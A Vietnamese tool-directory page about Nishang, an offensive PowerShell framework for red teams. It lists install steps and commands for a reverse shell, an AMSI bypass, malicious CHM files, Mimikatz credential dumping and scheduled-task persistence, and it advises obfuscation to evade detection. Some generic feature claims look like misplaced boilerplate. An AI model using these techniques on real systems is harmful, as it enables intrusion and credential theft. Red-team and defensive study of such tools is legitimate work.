Nishang
samratashok/nishang • PowerShell • NOASSERTION
Nishang là bộ khung PowerShell tấn công toàn diện cho Red Team, hỗ trợ từ giai đoạn do thám, leo thang đặc quyền đến duy trì quyền truy cập và exfiltration trong môi trường Windows.
Cảnh Báo Nghiêm Trọng Chuỗi Cung Ứng
Nishang là công cụ tấn công (offensive tool) chứa nhiều payload có thể bị AV/EDR nhận diện là mã độc. Người dùng cần kiểm tra kỹ mã nguồn trước khi thực thi để tránh các đoạn mã độc hại tiềm ẩn hoặc bị lây nhiễm từ các bản fork không chính thống.
Cài đặt nhanh, Docker/Helm sẵn có, tài liệu mẫu đầy đủ
Tiết kiệm RAM/CPU khi quét lớn, tốc độ xử lý song song
Độ chính xác cao, ít false positive, tính năng mở rộng tốt
Bản vá CVE thường xuyên, cộng đồng bảo mật hỗ trợ tích cực
- •Mã nguồn mở minh bạch
- •Cộng đồng kiểm nghiệm rộng rãi
- •Tối ưu hóa hiệu năng tốt
- •Cần kiểm thử trước khi cấp quyền trên hệ thống Production
1. Tổng Quan Kiến Trúc & Cơ Chế Hoạt Động#
Nishang hoạt động dựa trên việc tận dụng sức mạnh của PowerShell để thực thi các tác vụ quản trị hệ thống với mục đích tấn công. Kiến trúc của nó bao gồm các module chức năng được phân loại theo giai đoạn tấn công (Gather, Escalation, Backdoors, Shells). Luồng hoạt động thường là: (1) Tải script vào bộ nhớ (In-memory execution), (2) Thực thi hàm (Function invocation), (3) Giao tiếp với C2 hoặc exfiltrate dữ liệu qua các kênh như DNS, HTTP, hoặc SSID.
2. Ma Trận Đánh Giá & Điểm Khác Biệt#
So với các framework thương mại như Cobalt Strike, Nishang nhẹ hơn, không yêu cầu hạ tầng server phức tạp, phù hợp cho các tình huống 'living-off-the-land'. Tuy nhiên, nó thiếu khả năng quản lý tập trung (C2 dashboard) so với các giải pháp thương mại.
3. Hướng Dẫn Cài Đặt & Cấu Hình Chi Tiết#
- Bước 1: Clone repo:
git clone https://github.com/samratashok/nishang.git - Bước 2: Mở PowerShell với quyền Administrator.
- Bước 3: Thiết lập Execution Policy:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser - Bước 4: Import module:
Import-Module .\nishang.psm1
4. Bảng Tra Cứu Tham Số & Flags Trọng Yếu#
Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [Port]: Thiết lập kết nối reverse shell.Invoke-AmsiBypass: Cố gắng vô hiệu hóa AMSI trong phiên làm việc hiện tại.Out-CHM: Tạo file CHM độc hại để thực thi lệnh.
5. Kịch Bản Thực Chiến#
- Kịch bản 1 (Pentest): Sử dụng
Invoke-Mimikatzđể trích xuất mật khẩu từ bộ nhớ sau khi đã có quyền admin. - Kịch bản 2 (Persistence): Sử dụng
Add-Persistenceđể tạo một tác vụ định kỳ (Scheduled Task) chạy payload mỗi khi khởi động máy.
6. Khuyến Nghị Tối Ưu & Phòng Ngừa Rủi Ro#
- Luôn sử dụng các kỹ thuật obfuscation (làm rối mã) để tránh signature-based detection.
- Chỉ sử dụng trong môi trường lab được cấp phép.
- Cảnh báo: Việc sử dụng các công cụ này trên hạ tầng thực tế mà không có sự cho phép là vi phạm pháp luật.
Công Cụ Cùng Chuyên Mục red_team
Strix là nền tảng kiểm thử xâm nhập tự động dựa trên AI, sử dụng các tác nhân (agents) để thực hiện quét lỗ hổng, khai thác thực tế (PoC) và đề xuất bản vá cho ứng dụng.
Shannon là tác nhân AI pentest tự động, kết hợp phân tích mã nguồn và khai thác thực tế để xác thực lỗ hổng bảo mật trên ứng dụng web và API trước khi triển khai.
Nuclei là công cụ quét lỗ hổng bảo mật hiệu năng cao, sử dụng ngôn ngữ YAML DSL tùy biến, hỗ trợ đa giao thức và tích hợp CI/CD để phát hiện lỗ hổng thực tế với tỉ lệ dương tính giả cực thấp.